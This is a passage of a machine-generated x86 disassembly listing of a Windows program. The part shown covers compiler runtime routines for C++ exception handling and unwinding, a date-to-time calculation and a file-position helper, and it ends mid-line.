arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_421C49 push esi mov esi, [esp+8+arg_0] push esi call sub_41B960 inc eax push eax push esi add esi, edi push esi call sub_41D400 add esp, 10h pop esi loc_421C49: ; CODE XREF: sub_421C26+7j pop edi retn sub_421C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421C4B proc near ; CODE XREF: ___:0041D0ACp ; sub_41D115+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_421C61 call sub_4224F2 loc_421C61: ; CODE XREF: sub_421C4B+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_421C89 cmp dword ptr [esi+4], 0 jz short loc_421CDF cmp [ebp+arg_14], 0 jnz short loc_421CDF push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_421F92 add esp, 10h jmp short loc_421CDF ; --------------------------------------------------------------------------- loc_421C89: ; CODE XREF: sub_421C4B+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_421CDF cmp dword ptr [eax], 0E06D7363h jnz short loc_421CC3 cmp [eax+14h], edi jbe short loc_421CC3 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_421CC3 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_421CE2 ; --------------------------------------------------------------------------- loc_421CC3: ; CODE XREF: sub_421C4B+4Aj ; sub_421C4B+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_421CE6 add esp, 20h loc_421CDF: ; CODE XREF: sub_421C4B+23j ; sub_421C4B+29j ... push 1 pop eax loc_421CE2: ; CODE XREF: sub_421C4B+76j pop edi pop esi pop ebp retn sub_421C4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CE6 proc near ; CODE XREF: sub_421C4B+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_421D06 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_421D0B loc_421D06: ; CODE XREF: sub_421CE6+16j call sub_4224F2 loc_421D0B: ; CODE XREF: sub_421CE6+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_421E62 cmp dword ptr [esi+10h], 3 jnz short loc_421D7F cmp [esi+14h], edi jnz short loc_421D7F cmp dword ptr [esi+1Ch], 0 jnz short loc_421D7F mov esi, dword_4D97B8 test esi, esi jz loc_421E5D mov eax, dword_4D97BC push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424680 pop ecx test eax, eax pop ecx jnz short loc_421D61 call sub_4224F2 loc_421D61: ; CODE XREF: sub_421CE6+74j cmp [esi], ebx jnz loc_421E62 cmp dword ptr [esi+10h], 3 jnz short loc_421D7F cmp [esi+14h], edi jnz short loc_421D7F cmp dword ptr [esi+1Ch], 0 jnz short loc_421D7F call sub_4224F2 loc_421D7F: ; CODE XREF: sub_421CE6+41j ; sub_421CE6+46j ... cmp [esi], ebx jnz loc_421E62 cmp dword ptr [esi+10h], 3 jnz loc_421E62 cmp [esi+14h], edi jnz loc_421E62 mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D263 add esp, 14h mov ebx, eax loc_421DB6: ; CODE XREF: sub_421CE6+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_421E4D cmp [ebx], edi jg short loc_421E42 cmp edi, [ebx+4] jg short loc_421E42 mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_421E3F loc_421DDB: ; CODE XREF: sub_421CE6+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_421E0C loc_421DED: ; CODE XREF: sub_421CE6+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_421F35 add esp, 0Ch test eax, eax jnz short loc_421E1B dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_421DED loc_421E0C: ; CODE XREF: sub_421CE6+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_421DDB jmp short loc_421E3F ; --------------------------------------------------------------------------- loc_421E1B: ; CODE XREF: sub_421CE6+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422046 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421E3F: ; CODE XREF: sub_421CE6+F3j ; sub_421CE6+133j mov edi, [ebp+var_10] loc_421E42: ; CODE XREF: sub_421CE6+DEj ; sub_421CE6+E3j inc [ebp+var_4] add ebx, 14h jmp loc_421DB6 ; --------------------------------------------------------------------------- loc_421E4D: ; CODE XREF: sub_421CE6+D6j cmp [ebp+arg_14], 0 jz short loc_421E5D push 1 push esi call sub_4223BB pop ecx pop ecx loc_421E5D: ; CODE XREF: sub_421CE6+56j ; sub_421CE6+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421E62: ; CODE XREF: sub_421CE6+37j ; sub_421CE6+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_421E88 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_421E8D add esp, 20h jmp short loc_421E5D ; --------------------------------------------------------------------------- loc_421E88: ; CODE XREF: sub_421CE6+180j jmp sub_42249C sub_421CE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421E8D proc near ; CODE XREF: sub_421CE6+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4D97C0, 0 push esi push edi jz short loc_421EBE push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41D13A add esp, 1Ch test eax, eax jnz short loc_421F31 loc_421EBE: ; CODE XREF: sub_421E8D+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D263 add esp, 14h mov esi, eax loc_421EDA: ; CODE XREF: sub_421E8D+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_421F31 cmp edi, [esi] jl short loc_421F29 cmp edi, [esi+4] jg short loc_421F29 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_421F03 cmp byte ptr [ecx+8], 0 jnz short loc_421F29 loc_421F03: ; CODE XREF: sub_421E8D+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422046 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421F29: ; CODE XREF: sub_421E8D+57j ; sub_421E8D+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_421EDA ; --------------------------------------------------------------------------- loc_421F31: ; CODE XREF: sub_421E8D+2Fj ; sub_421E8D+53j pop edi pop esi leave retn sub_421E8D endp ; =============== S U B R O U T I N E ======================================= sub_421F35 proc near ; CODE XREF: sub_421CE6+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_421F8C cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_421F8C mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_421F66 add ecx, 8 push ecx push edx call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_421F88 loc_421F66: ; CODE XREF: sub_421F35+1Fj test byte ptr [esi], 2 jz short loc_421F70 test byte ptr [edi], 8 jz short loc_421F88 loc_421F70: ; CODE XREF: sub_421F35+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_421F7F test byte ptr [edi], 1 jz short loc_421F88 loc_421F7F: ; CODE XREF: sub_421F35+43j test al, 2 jz short loc_421F8C test byte ptr [edi], 2 jnz short loc_421F8C loc_421F88: ; CODE XREF: sub_421F35+2Fj ; sub_421F35+39j ... xor eax, eax jmp short loc_421F8F ; --------------------------------------------------------------------------- loc_421F8C: ; CODE XREF: sub_421F35+Bj ; sub_421F35+14j ... push 1 pop eax loc_421F8F: ; CODE XREF: sub_421F35+55j pop edi pop esi retn sub_421F35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F92 proc near ; CODE XREF: sub_421C4B+34p ; ___:00422088p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427890 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_421FC4: ; CODE XREF: sub_421F92+8Aj cmp esi, [ebp+arg_C] jz short loc_42201E cmp esi, 0FFFFFFFFh jle short loc_421FD3 cmp esi, [edi+4] jl short loc_421FD8 loc_421FD3: ; CODE XREF: sub_421F92+3Aj call sub_4224F2 loc_421FD8: ; CODE XREF: sub_421F92+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_421FF3 push 103h push ebx push eax call sub_422450 loc_421FF3: ; CODE XREF: sub_421F92+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_422013 ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_422030 pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_422013: ; CODE XREF: sub_421F92+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_421FC4 ; --------------------------------------------------------------------------- loc_42201E: ; CODE XREF: sub_421F92+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_421F92 endp ; =============== S U B R O U T I N E ======================================= sub_422030 proc near ; CODE XREF: sub_421F92+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_422041 xor eax, eax retn ; --------------------------------------------------------------------------- loc_422041: ; CODE XREF: sub_422030+Cj jmp sub_42249C sub_422030 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_422046 proc near ; CODE XREF: sub_421CE6+151p ; sub_421E8D+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_422068 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4221F7 add esp, 10h loc_422068: ; CODE XREF: sub_422046+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_422074 push edi jmp short loc_422077 ; --------------------------------------------------------------------------- loc_422074: ; CODE XREF: sub_422046+29j push [ebp+arg_24] loc_422077: ; CODE XREF: sub_422046+2Cj call sub_41D03C sub_422046 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_421F92 mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_4220C1 add esp, 2Ch test eax, eax jz short loc_4220BC push edi push eax call sub_41CFFA loc_4220BC: ; CODE XREF: ___:004220B3j pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4220C1 proc near ; CODE XREF: ___:004220A9p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278A0 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4D97B8 mov [ebp+var_1C], ecx mov ecx, dword_4D97BC mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4D97B8, edi mov ecx, [ebp+arg_8] mov dword_4D97BC, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41D0C1 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422187 mov eax, [ebp+var_2C] loc_42214E: ; CODE XREF: sub_422167+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4220C1 endp ; =============== S U B R O U T I N E ======================================= sub_42215D proc near ; DATA XREF: ___:004278B0o push dword ptr [ebp-14h] call sub_4221CD pop ecx retn sub_42215D endp ; =============== S U B R O U T I N E ======================================= sub_422167 proc near ; DATA XREF: ___:004278B4o mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41D322 pop ecx pop ecx xor eax, eax jmp short loc_42214E sub_422167 endp ; --------------------------------------------------------------------------- loc_42217F: ; DATA XREF: ___:004278A8o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422187 proc near ; CODE XREF: sub_4220C1+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4D97B8, eax mov eax, [ebp-20h] mov dword_4D97BC, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_4221CC cmp dword ptr [edi+10h], 3 jnz short locret_4221CC cmp dword ptr [edi+14h], 19930520h jnz short locret_4221CC cmp [ebp-24h], ebx jnz short locret_4221CC cmp [ebp-2Ch], ebx jz short locret_4221CC call sub_41D38A push eax push edi call sub_4223BB pop ecx pop ecx locret_4221CC: ; CODE XREF: sub_422187+1Cj ; sub_422187+22j ... retn sub_422187 endp ; =============== S U B R O U T I N E ======================================= sub_4221CD proc near ; CODE XREF: sub_42215D+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4221F4 cmp dword ptr [eax+10h], 3 jnz short loc_4221F4 cmp dword ptr [eax+14h], 19930520h jnz short loc_4221F4 cmp dword ptr [eax+1Ch], 0 jnz short loc_4221F4 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4221F4: ; CODE XREF: sub_4221CD+Cj ; sub_4221CD+12j ... xor eax, eax retn sub_4221CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4221F7 proc near ; CODE XREF: sub_422046+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278B8 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_4223A0 cmp byte ptr [eax+8], 0 jz loc_4223A0 mov eax, [ecx+8] test eax, eax jz loc_4223A0 mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_422294 mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424680 pop ecx pop ecx test eax, eax jz loc_422397 push 1 push edi call sub_42469C pop ecx pop ecx test eax, eax jz loc_422397 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422285: ; CODE XREF: sub_4221F7+F5j push eax call sub_422422 pop ecx pop ecx mov [edi], eax jmp loc_42239C ; --------------------------------------------------------------------------- loc_422294: ; CODE XREF: sub_4221F7+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_4222EE mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_424680 pop ecx pop ecx test eax, eax jz loc_422397 push 1 push edi call sub_42469C pop ecx pop ecx test eax, eax jz loc_422397 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41D400 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_42239C mov eax, [edi] test eax, eax jz loc_42239C add esi, 8 push esi jmp short loc_422285 ; --------------------------------------------------------------------------- loc_4222EE: ; CODE XREF: sub_4221F7+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422336 call sub_424680 pop ecx pop ecx test eax, eax jz loc_422397 push 1 push edi call sub_42469C pop ecx pop ecx test eax, eax jz short loc_422397 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_422422 pop ecx pop ecx push eax push edi call sub_41D400 add esp, 0Ch jmp short loc_42239C ; --------------------------------------------------------------------------- loc_422336: ; CODE XREF: sub_4221F7+103j call sub_424680 pop ecx pop ecx test eax, eax jz short loc_422397 push 1 push edi call sub_42469C pop ecx pop ecx test eax, eax jz short loc_422397 push dword ptr [esi+18h] call sub_4246B8 pop ecx test eax, eax jz short loc_422397 test byte ptr [esi], 4 jz short loc_42237D push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422422 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41D035 jmp short loc_42239C ; --------------------------------------------------------------------------- loc_42237D: ; CODE XREF: sub_4221F7+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422422 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41D02E jmp short loc_42239C ; --------------------------------------------------------------------------- loc_422397: ; CODE XREF: sub_4221F7+6Aj ; sub_4221F7+7Cj ... call sub_4224F2 loc_42239C: ; CODE XREF: sub_4221F7+98j ; sub_4221F7+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_4223A0: ; CODE XREF: sub_4221F7+2Ej ; sub_4221F7+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4221F7 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42249C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4223BB proc near ; CODE XREF: sub_421CE6+170p ; sub_422187+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278C8 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_422402 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_422402 and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41D02E or [ebp+var_4], 0FFFFFFFFh loc_422402: ; CODE XREF: sub_4223BB+2Aj ; sub_4223BB+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4223BB endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_42249C ; =============== S U B R O U T I N E ======================================= sub_422422 proc near ; CODE XREF: sub_4221F7+8Fp ; sub_4221F7+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_422443 mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_422443: ; CODE XREF: sub_422422+12j pop esi retn sub_422422 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422450 proc near ; CODE XREF: sub_41D0C1+40p ; sub_421F92+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41D3AD push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_42248F mov ecx, 2 loc_42248F: ; CODE XREF: sub_422450+38j push ecx call sub_41D3AD pop ebp pop ecx pop ebx leave retn 0Ch sub_422450 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42249C proc near ; CODE XREF: sub_421CE6:loc_421E88j ; sub_422030:loc_422041j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004246D0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D8 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4D97C4 test eax, eax jz short loc_4224E4 mov [ebp+var_4], 1 call eax jmp short loc_4224E0 ; --------------------------------------------------------------------------- loc_4224D9: ; DATA XREF: ___:004278E8o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4224DD: ; DATA XREF: ___:004278ECo mov esp, [ebp+var_18] loc_4224E0: ; CODE XREF: sub_42249C+3Bj and [ebp+var_4], 0 loc_4224E4: ; CODE XREF: sub_42249C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_4224ED: ; DATA XREF: ___:004278E0o jmp loc_4246D0 sub_42249C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4224F2 proc near ; CODE XREF: sub_41D263+23p ; sub_41D263:loc_41D2CEp ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43AC54 test eax, eax jz short loc_42253A mov [ebp+var_4], 1 call eax ; sub_42249C jmp short loc_422536 ; --------------------------------------------------------------------------- loc_42252F: ; DATA XREF: ___:00427900o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422533: ; DATA XREF: ___:00427904o mov esp, [ebp+var_18] loc_422536: ; CODE XREF: sub_4224F2+3Bj and [ebp+var_4], 0 loc_42253A: ; CODE XREF: sub_4224F2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422543: ; DATA XREF: ___:004278F8o jmp sub_42249C sub_4224F2 endp ; =============== S U B R O U T I N E ======================================= sub_422548 proc near ; CODE XREF: sub_41D743+7p ; sub_41D743+26p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_41E477 test eax, eax pop ecx jz short loc_422560 mov eax, [esi-4] pop esi sub eax, 9 retn ; --------------------------------------------------------------------------- loc_422560: ; CODE XREF: sub_422548+Ej push esi push 0 push dword_4DADA0 nop call near ptr 2660000h pop esi retn sub_422548 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422571 proc near ; CODE XREF: sub_41D81B+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_42262D cmp ebx, 8Ah jg loc_42262D push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43B11C[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4225B0 cmp edi, 2 jle short loc_4225B0 inc esi loc_4225B0: ; CODE XREF: sub_422571+37j ; sub_422571+3Cj call sub_4246E7 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43B038 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_422623 cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422629 cmp dword_43B03C, 0 jz short loc_422629 lea eax, [ebp+var_24] push eax call sub_42495A pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_422629 loc_422623: ; CODE XREF: sub_422571+90j add ecx, dword_43B040 loc_422629: ; CODE XREF: sub_422571+96j ; sub_422571+9Fj ... mov eax, ecx jmp short loc_422630 ; --------------------------------------------------------------------------- loc_42262D: ; CODE XREF: sub_422571+13j ; sub_422571+1Fj or eax, 0FFFFFFFFh loc_422630: ; CODE XREF: sub_422571+BAj pop ebx leave retn sub_422571 endp ; =============== S U B R O U T I N E ======================================= sub_422633 proc near ; CODE XREF: ___:0041D9F3p ; sub_41F051+1A2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_4DAB60 push esi push edi jnb short loc_4226B5 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DAA60h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_4226B5 push eax call sub_4237AA cmp eax, 0FFFFFFFFh pop ecx jnz short loc_422677 mov dword_4D9714, 9 jmp short loc_4226C6 ; --------------------------------------------------------------------------- loc_422677: ; CODE XREF: sub_422633+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax nop call near ptr 2790000h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_422697 call near ptr 26A0EA9h nop jmp short loc_422699 ; --------------------------------------------------------------------------- loc_422697: ; CODE XREF: sub_422633+5Aj xor eax, eax loc_422699: ; CODE XREF: sub_422633+62j test eax, eax jz short loc_4226A6 push eax call sub_420314 pop ecx jmp short loc_4226C6 ; --------------------------------------------------------------------------- loc_4226A6: ; CODE XREF: sub_422633+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_4226C9 ; --------------------------------------------------------------------------- loc_4226B5: ; CODE XREF: 